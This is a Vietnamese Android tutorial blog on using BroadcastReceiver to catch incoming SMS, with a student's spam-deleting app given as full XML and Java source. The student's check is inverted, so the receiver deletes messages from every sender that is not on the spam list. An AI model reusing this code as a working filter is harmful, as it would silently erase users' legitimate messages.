– Dòng lệnh 43, onReceive dùng để tự động bắt tin nhắn khi có bất kỳ tin nhắn nào gửi tới. Tại một thời điểm thì có thể có nhiều tin nhắn gửi tới cùng 1 lúc nên ta dùng vòng lặp để lặp qua toàn bộ tin nhắn và xử lý.

– Dòng lệnh 73 là hàm doSending, ở đây Tui viết hàm này chủ ý xử lý tin nhắn gửi tới có đúng cú pháp đăng ký hay không, tùy loại tin nhắn mà ta xử lý khác nhau.

– Dòng lệnh 140, hàm processRegisterCourse, Tui để trông để bạn tự viết coding vào đây, sử dụng KSOAP API để gửi thông tin lên cho Webservice xử lý học vụ.

– Bây giờ bạn có thể test thử: Cài phần mềm này vào 1 điện thoại, lấy 1 điện thoại khác nhắn tin theo đúng cú pháp vào điện thoại cài phần mềm, thì sẽ có kết quả như mong muốn.

– Tui đã test thử trên các thiết bị điện thoại thật và đã thành công, bạn cũng thử cài đặt vào để Test cho hiệu quả.

– Bạn có thể tải source code mẫu ở đây: http://www.mediafire.com/download/k12pl9ccqu85dgn/LearnBroadCastReceiver_SMS_With_Manifest.rar

– Bài này có rất nhiều ứng dụng thực tế để kiếm tiền, và bạn cũng chú ý là rất nhiều phần mềm trên Google Play tải về có chức năng tự động gửi tin nhắn nên bạn phải cẩn thận kẻo bị trừ hết ráo không còn xu nào, khi cài đặt thì làm ơn đọc kỹ trước khi bấm Next hay OK. Thường thì nếu phần mềm có dùng SMS thì khi cài vào máy thật nó sẽ Cảnh báo, ta phải đọc kỹ, hãy bỏ thói quen tỏ vẻ nguy hiểm là không thèm đọc cứ bấm Next, OK… rất nguy hiểm.

– Chúc các bạn thành công.

Bài 41: Phần mềm xử lý tin nhắn rắc

[polldaddy poll=9764234]

Ở bài tập 40 Tui đã trình bày cách đăng ký BroadCast Receiver để lắng nghe tin nhắn gửi tới trong Coding, Ở  bài tập này Tui sẽ trình bày cách đăng ký và xử lý BroadCast Receiver bằng Manifest. Ứng dụng này là thực tế, các bạn có thể cài đặt vào thiết bị thật để kiểm tra.

Bài này Tui sẽ lấy kết quả bài làm của Sinh viên học lớp Tui để demo cho các bạn xem, các bạn có thể liên hệ với bạn này để trao đổi học thuật. Tên của bạn là Nguyễn Tấn Nhân, email Nhan.NguyenTan@uni.dntu.edu.vn

Bài Tui yêu cầu các bạn làm bài như sau:

–          Viết ứng dụng Android xử lý tin nhắn rác.

–          Hiện nay rất nhiều tin nhắn quẳng cáo gửi vô tội vạ, cái Alô của bạn phải nhận rất nhiều tin nhắn như thế gây phiền hà và mất thời gian cho bạn.

–          Hãy viết chương trình để giải quyết vấn đề này, yêu cầu như sau:

  • Chương trình có giao diện thêm, sửa, xóa các đầu số mà bạn cho là đầu số rác. Như vậy nên dùng SQLite hoặc XML để lưu các đầu số rác.
  • Chương trình phải tự động nhận tin nhắn và phát hiện ra được tin nhắn nào là gửi đi từ các đầu số rác đó.
  • Nếu phát hiện ra đó là đầu số rác  thì xóa nó khỏi inbox của messaging đồng thời phát ra Audio là “đây là tin nhắn rác, đã bị xử” để người sử dụng không phải mở điện thoại lên xem.

–          Yêu cầu viết theo 2 cách (tức là bài tập này làm thành 2 Project khác nhau):

  • Đăng ký Broadcast Receiver để nhận tin nhắn tới trong coding
  • Đăng ký Broadcast Receiver để nhận tin nhắn tới trong Manifest XML

–          Sau khi làm xong theo 2 cách trên, hãy so sánh sự khác biệt giữa chúng. Và kết luận chúng ta nên chọn cách nào?

–          Chương trình phải cài đặt và chạy được trên điện thoại Android thiệt.

rac1

–          Khi nhấn thật lâu vào 1 đầu số trong ListView thì số này sẽ tự động Remove khỏi CSDL

– Dưới đây là kết quả bài làm mà sinh viên trên đã tự thực hiện:

– Tôi sẽ để nguyễn mẫu và không giải thích, các bạn nếu không hiểu thì hãy email trực tiếp để hỏi sinh viên này:

s0

XML Layout của màn hình chính:

[code language=”xml”]
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/LinearLayout1"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:paddingBottom="2dp"
android:paddingLeft="2dp"
android:paddingRight="2dp"
android:paddingTop="2dp"
tools:context=".MainActivity" >

<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:background="#008000"
android:gravity="center_horizontal"
android:text="Quản lý tin nhắn rác"
android:textColor="#FFF"
android:textSize="26sp" />

<TextView
android:id="@+id/textView1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:background="#FFFF00"
android:text="Nhập vào số rác:"
android:textSize="18sp" />

<EditText
android:id="@+id/editPrefixPhoneNum"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:ems="10" >

<requestFocus />
</EditText>

<Button
android:id="@+id/btnSave"
style="?android:attr/buttonStyleSmall"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_gravity="center_horizontal"
android:text="Lưu số rác này"
android:textSize="18sp" />

<TextView
android:id="@+id/textView2"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:background="#FFFF00"
android:gravity="center_horizontal"
android:text="Danh sách số phone rác"
android:textSize="18sp" />

<ListView
android:id="@+id/lstviewList"
android:layout_width="match_parent"
android:layout_height="wrap_content" >
</ListView>

</LinearLayout>

[/code]

Để tương tác với SMS thì ta cấu hình trong Manifest như sau:

[code]

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="vn.edu.it.nguyentannhan.id1200911"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="17" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="vn.edu.it.nguyentannhan.id1200911.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver android:name="MySmsReceive">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>

</manifest>

[/code]

Xử lý coding:

MainActivity:

[code language=”java”]

package vn.edu.it.nguyentannhan.id1200911;
import java.util.ArrayList;
import android.media.MediaPlayer;
import android.media.MediaRecorder;
import android.os.Bundle;
import android.os.Environment;
import android.app.Activity;
import android.app.AlertDialog;
import android.content.ContentValues;
import android.content.DialogInterface;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.view.Menu;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemClickListener;
import android.widget.AdapterView.OnItemLongClickListener;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ListView;
import android.widget.Toast;

public class MainActivity extends Activity {

SQLiteDatabase sqlite;
Button btnSave;
EditText editFrefixNum;
ListView lstPreNum;
//
//String idUpdate="";
//
ArrayList<String>arrPreNum;
ArrayAdapter<String>adapter = null;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

//deleteDatabase();
createDatabase();
init();
event();
loaddata();
}
void loaddata()
{
try {
arrPreNum = new ArrayList<String>();
sqlite = openOrCreateDatabase("smsgarbage.db", MODE_PRIVATE, null);
final String []columns ={"id","prefixNum"};
//Cursor cusor = sqlite.query("tblGarbage", columns , "id,prefixNum", null, null, null, "prefixNum");
Cursor cusor = sqlite.query("tblGarbage", columns , null, null, null, null, null);
cusor.moveToFirst();
String data="";
while(cusor.isAfterLast()==false)
{
data= (String) cusor.getString(0).toString();//+" – " + (String)cusor.getString(1).toString();
arrPreNum.add(data);
cusor.moveToNext();
}
adapter = new ArrayAdapter<String>(MainActivity.this, android.R.layout.simple_expandable_list_item_1, arrPreNum);
lstPreNum.setAdapter(adapter);
//adapter.notifyDataSetChanged();

} catch (Exception e)
{
// TODO: handle exception
Toast.makeText(MainActivity.this, e.toString(), Toast.LENGTH_SHORT).show();
}

}
void cleartext()
{
editFrefixNum.setText("");
}
void init()
{
btnSave = (Button) findViewById(R.id.btnSave);
editFrefixNum = (EditText) findViewById(R.id.editPrefixPhoneNum);
lstPreNum = (ListView) findViewById(R.id.lstviewList);
}
void event()
{
btnSave.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View v) {
// TODO Auto-generated method stub
insertData(editFrefixNum.getText().toString());
loaddata();
}
});

lstPreNum.setOnItemClickListener(new OnItemClickListener()
{

@Override
public void onItemClick(AdapterView<?> arg0, View arg1, int arg2,long arg3) {
// TODO Auto-generated method stub
editFrefixNum.setText((String)arrPreNum.get(arg2).toString());
//idUpdate =(String)arrPreNum.get(arg2).toString();
}
});

lstPreNum.setOnItemLongClickListener(new OnItemLongClickListener()
{
@Override
public boolean onItemLongClick(AdapterView<?> arg0, View arg1, int arg2, long arg3) {
// TODO Auto-generated method stub
AlertDialog.Builder bui = new AlertDialog.Builder(MainActivity.this);
bui.setTitle("Cảnh báo !");
//final int index = arg2;
final String id= (String)arrPreNum.get(arg2).toString().trim();
bui.setPositiveButton("OK", new AlertDialog.OnClickListener() {

@Override
public void onClick(DialogInterface dialog, int which) {
// TODO Auto-generated method stub
//arrPreNum.remove(index);
sqlite = openOrCreateDatabase("smsgarbage.db", MODE_PRIVATE, null);
if(sqlite.delete("tblGarbage", "id=?", new String []{id}) != -1)
{
loaddata();
cleartext();
Toast.makeText(MainActivity.this, "Xóa thành công !", Toast.LENGTH_SHORT).show();
}
else
Toast.makeText(MainActivity.this, "Xóa thất bại !", Toast.LENGTH_SHORT).show();
}
});
bui.setNegativeButton("Cancel", new AlertDialog.OnClickListener() {

@Override
public void onClick(DialogInterface dialog, int which) {
// TODO Auto-generated method stub
dialog.cancel();
}
});

bui.create().show();

return false;
}

});
}
void createDatabase()
{
String path= Environment.getExternalStorageDirectory().getAbsolutePath()+"/smsgarbage.db";
sqlite = openOrCreateDatabase(path, MODE_PRIVATE, null);

try
{
String query = "Create table tblGarbage(id text primary key , prefixNum text)";
sqlite.execSQL(query);
} catch (Exception e) {
// TODO: handle exception
}
}

void insertData(String PrefixNum)
{
try {
//sqlite = openOrCreateDatabase("qlsach.db", MODE_PRIVATE, null);
ContentValues _values = new ContentValues();
_values.put("id", PrefixNum);
_values.put("prefixNum", PrefixNum);
if(sqlite.insert("tblGarbage", null, _values) != -1)
{
Toast.makeText(MainActivity.this, "Thêm thành công !", Toast.LENGTH_SHORT).show();
cleartext();
}
else
Toast.makeText(MainActivity.this, "Thất bại !", Toast.LENGTH_SHORT).show();
} catch (Exception e) {
// TODO: handle exception
Toast.makeText(MainActivity.this, "Thất bại hoàn toàn !", Toast.LENGTH_SHORT).show();
}

}

void update(String idUpdate)
{
sqlite = openOrCreateDatabase("smsgarbage.db", MODE_PRIVATE, null);
ContentValues values = new ContentValues();
//values.put("id", idUpdate);
values.put("prefixNum", editFrefixNum.getText().toString());
if(sqlite.update("tblGarbage", values, "id=?", new String[]{idUpdate}) != -1)
{
loaddata();
Toast.makeText(MainActivity.this, "Cập nhật thành công !", Toast.LENGTH_SHORT).show();
}
else
Toast.makeText(MainActivity.this, "Cập nhật thất bại !", Toast.LENGTH_SHORT).show();
}
void deleteDatabase()
{
if(deleteDatabase("smsgarbage.db") == true)
Toast.makeText(MainActivity.this, "Xóa database [smsgarbage] thành công !", Toast.LENGTH_LONG).show();
}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

/*************************************************************************************************************************/
MediaRecorder audioRecorder = null;
public void doStartRecord()
{
try
{
if(audioRecorder == null)
audioRecorder = new MediaRecorder();//step1
String saveto=Environment.getDataDirectory().getAbsolutePath()+"/myrecord.mp5";
audioRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//step 2
audioRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);//step3
audioRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);//step4
audioRecorder.setOutputFile(saveto);
audioRecorder.prepare();//step 6
audioRecorder.start();//step 7
} catch (Exception e)
{
// TODO: handle exception
}
}
public void doStopRecording()
{
if(audioRecorder != null)
{
audioRecorder.stop();//step 8
audioRecorder.release();
audioRecorder = null;
}
}

void doPlayMusic()
{
MediaPlayer player = new MediaPlayer();
try
{
String saveto= Environment.getDataDirectory().getAbsolutePath()+"/myaudio.mp3";
player.setDataSource(saveto);
player.prepare();
player.start();

/*
* player.stop();
* player.release();
* player = null;
* */

} catch (Exception e)
{
// TODO: handle exception
}
}

/*************************************************************************************************************************/

}

[/code]

Broadcast Receiver:

[code language=”java”]

package vn.edu.it.nguyentannhan.id1200911;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.telephony.SmsMessage;
import android.widget.Toast;
import android.database.sqlite.SQLiteDatabase;

&nbsp;

&nbsp;

public class MySmsReceive extends BroadcastReceiver {
public static final String SMS_URI= "content://sms/inbox";
public static final String BODY= "body";
public static final String ADDRESS= "address";
//BroadcastReceiver receive =null;
void BroadCastReceive()
{
//IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
/*receive = new BroadcastReceiver()
{

@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub

}

};*/
//receive = new BroadcastReceiver();
}
@Override
public void onReceive(Context context, Intent intent)
{
// TODO Auto-generated method stub
processReceive(context, intent);

}
void processReceive(Context context, Intent intent)
{
Bundle extras = intent.getExtras();
String message ="";
if(extras != null)
{
Object []smsExtra = (Object[])extras.get("pdus");
for (int i = 0; i < smsExtra.length; i++)
{
SmsMessage sms = SmsMessage.createFromPdu((byte[])smsExtra[i]);
String body = sms.getMessageBody();
String address = sms.getOriginatingAddress();
message +="SMS From: "+ address +" :\n"+body+"\n";
XoaToanBoSms(context, address);
}
Toast.makeText(context, message, Toast.LENGTH_SHORT).show();
}
}

public boolean checkDumpNumber(String f)
{
SQLiteDatabase sqlite;
String path= Environment.getExternalStorageDirectory().getAbsolutePath()+"/smsgarbage.db";
sqlite= SQLiteDatabase.openOrCreateDatabase(path, null);
Cursor c = sqlite.query("tblGarbage", null, "prefixNum=?", new String[]{f}, null, null, null, null);
c.moveToFirst();
return c.isAfterLast();
}
void XoaToanBoSms(Context con, String phoneNumber)
{
try {
/*for (int i = 0; i < msgs.length; i++)
{
if(msgs.getOriginatingAddress().equals(phoneNumber)==false)
{
continue;
}*/
if(checkDumpNumber(phoneNumber))
{
con.getContentResolver().delete(Uri.parse("content://sms"), "address=?", new String[]{phoneNumber});
Toast.makeText(con, "Xóa rồi đó " + phoneNumber, Toast.LENGTH_SHORT).show();
}
else
{
Toast.makeText(con, "Khong tìm thấy !" + phoneNumber, Toast.LENGTH_SHORT).show();
}
//}
} catch (Exception e) {
// TODO: handle exception
Toast.makeText(con, "Xóa rồi đó " + e, Toast.LENGTH_SHORT).show();
}
}

void XoaSmsMoiNhat(Context con, SmsMessage[]msgs, String phoneNumber)
{
try {
for (int i = 0; i < msgs.length; i++) {
if(msgs[i].getOriginatingAddress().equals(phoneNumber)==false)
{
continue;
}
con.getContentResolver().delete(Uri.parse("content://sms"), "address=? and date=?",
new String []{phoneNumber,String.valueOf(msgs[i].getTimestampMillis())});
Toast.makeText(con, "Xóa rồi đó "+msgs[i].getOriginatingAddress(), Toast.LENGTH_SHORT).show();
}
} catch (Exception e) {
// TODO: handle exception
Toast.makeText(con, "Xóa rồi đó "+e, Toast.LENGTH_SHORT).show();
}
}

}

[/code]

Chương trình này sẽ chạy giống như Services nếu như nó bị tắt.

Khi lưu dữ liệu thì nó sẽ được lưu vào SDCARD, bất cứ khi nào có tin nhắn gửi tới thì Broadcast Receiver sẽ bắt lệnh và tiến hành xử lý.

Bạn có thể tải source code đầy đủ ở đây: https://www.mediafire.com/download/ulycc5263nvle1d/Broadcast_recieve_message_garbage.rar

Chúc bạn thành công.

Bài 40: Tìm hiểu Broadcast Receiver, ứng dụng viết phần mềm xử lý tin nhắn rác

[polldaddy poll=9764234]

Tui đã trình bày “Sương Sương” xong phần cơ bản loanh quanh của Android, từ bài tập 40 trở đi Tui muốn trình bày về các kiến thức chuyên sâu bên trong hệ điều hành Android. Bạn cần phải hiểu thật rõ những phần “Sương Sương” trước đó để áp dụng tốt cho những phần chuyên sâu về sau.

BroadCast Receiver rất phức tạp và rất hữu dụng, thông qua nó mà ta có thể viết các Services cho điện thoại, trước khi tìm hiểu BroadCast Receiver thì bạn cần hiểu sơ qua về Intent – Filter, Uri parse và một số kiến thức khác.

broadcast1

Intent‐filter giống như bộ lọc, giúp ta chọn đúng tác vụ để thực thi, chi tiết bạn xem tại http://developer.android.com/reference/android/content/IntentFilter.html

broadcast2

– Ta có 2 cách đăng ký Broadcast Receiver:

1) Đăng ký trong coding: Lắng nghe mọi thứ trong Intent- filter (nếu tắt ứng dụng sẽ không lắng nghe)

2) Đăng ký trong Manifest: Nó trở thành dịch vụ, tự động lắng nghe mọi thứ trong Intent – filter (kể cả khi đã đóng ứng dụng)

Tui sẽ làm ví dụ về BroadCast Receiver trong trường hợp số 1 trước, trường hợp số 2 Tui sẽ lấy 1 bài tập mà Tui yêu cầu sinh viên của tui thực hiện, sinh viên này rất khá, các bạn có thể trao đổi học tập với bạn này.

Ở ví dụ này đơn giản chỉ là yêu cầu ứng dụng lắng nghe tin nhắn gửi tới, nếu như có bất kỳ tin nhắn nào đó gửi tới thì hiển thị lên TextView của ứng dụng.

Bạn tạo Project như sau:

broadcast3giao diện vô cùng đơn giản tới mức tầm thường như sau:

[code language=”xml”]

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/LinearLayout1"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
tools:context=".MainActivity" >

<TextView
android:id="@+id/textView1"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="TextView" />

</LinearLayout>

[/code]

Vì lắng nghe tin nhắn gửi tới nên bắt buộc trong Manifest ta phải cấp quyền cho ứng dụng như sau:

[code language=”xml”]

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="tranduythanh.com"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk
android:minSdkVersion="14"
android:targetSdkVersion="17" />

<uses-permission android:name="android.permission.RECEIVE_SMS" />

<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="tranduythanh.com.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>

</manifest>

[/code]

Bạn chú ý dòng lệnh 11, đó là cách đăng ký nhận tin nhắn. Chú ý là bạn có thể dùng giao diện để chọn cho tiện vì bạn không thể nhớ hết được (xem lại các bài trước Tui đã trình bày).

– Source code trong MainActivity để xử lý tin nhắn gửi tới:

[code language=”java”]

package tranduythanh.com;

import tranduythanh.com.R;

import android.os.Bundle;
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.telephony.SmsMessage;
import android.widget.TextView;
import android.widget.Toast;

public class MainActivity extends Activity {
BroadcastReceiver receiver=null;
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//tạo bộ lọc để lắng nghe tin nhắn gửi tới
IntentFilter filter=new IntentFilter
("android.provider.Telephony.SMS_RECEIVED");
//tạo bộ lắng nghe
receiver=new BroadcastReceiver() {
//hàm này sẽ tự động được kích hoạt khi có tin nhắn gửi tới
public void onReceive(Context arg0, Intent arg1) {
//Tui tách ra hàm riêng để xử lý
//chú ý là dữ liệu trong tin nhắn được lưu trữ trong arg1
processReceive(arg0, arg1);
}
};
//đăng ký bộ lắng nghe vào hệ thống
registerReceiver(receiver, filter);
}
protected void onDestroy() {
super.onDestroy();
//hủy bỏ đăng ký khi tắt ứng dụng
unregisterReceiver(receiver);
}
public void processReceive(Context context, Intent intent)
{
Toast.makeText(context, "Hello .. có tin nhắn tới đó", Toast.LENGTH_LONG).show();
TextView lbl=(TextView) findViewById(R.id.textView1);
//pdus để lấy gói tin nhắn
String sms_extra="pdus";
Bundle bundle=intent.getExtras();
//bundle trả về tập các tin nhắn gửi về cùng lúc
Object []objArr= (Object[]) bundle.get(sms_extra);
String sms="";
//duyệt vòng lặp để đọc từng tin nhắn
for(int i=0;i<objArr.length;i++)
{
//lệnh chuyển đổi về tin nhắn createFromPdu
SmsMessage smsMsg=SmsMessage.
createFromPdu((byte[]) objArr[i]);
//lấy nội dung tin nhắn
String body=smsMsg.getMessageBody();
//lấy số điện thoại tin nhắn
String address=smsMsg.getDisplayOriginatingAddress();
sms+=address+":\n"+body+"\n";
}
//hiển thị lên giao diện
lbl.setText(sms);
}
}

[/code]

broadcast4

– Bạn mở DDMS hoặc mở thêm 1 máy ảo nữa (xem bài tập số 2) để gửi tin nhắn vào đây. Bạn cũng có thể cài phần mềm vào Máy thật để Test, bạn sẽ có kể quả như trên.

– Bạn chú ý là thông số của Tin nhắn rất nhiều, bạn tìm hiểu thêm trên mạng, ở đây Tui chỉ lấy nội dung và số điện thoại ra mà thôi.

– Bạn có thể tải coding mẫu ở đây: http://www.mediafire.com/download/ri8kb7fec3my7x9/LearnBroadCastReceiver_sms_code.rar

– Tui tính viết phần mềm xử lý tin nhắn rác ở đây nhưng vì thấy dài quá nên Tui tách ra làm bài mới để các bạn tiện theo dõi.

– Chúc các bạn thành công.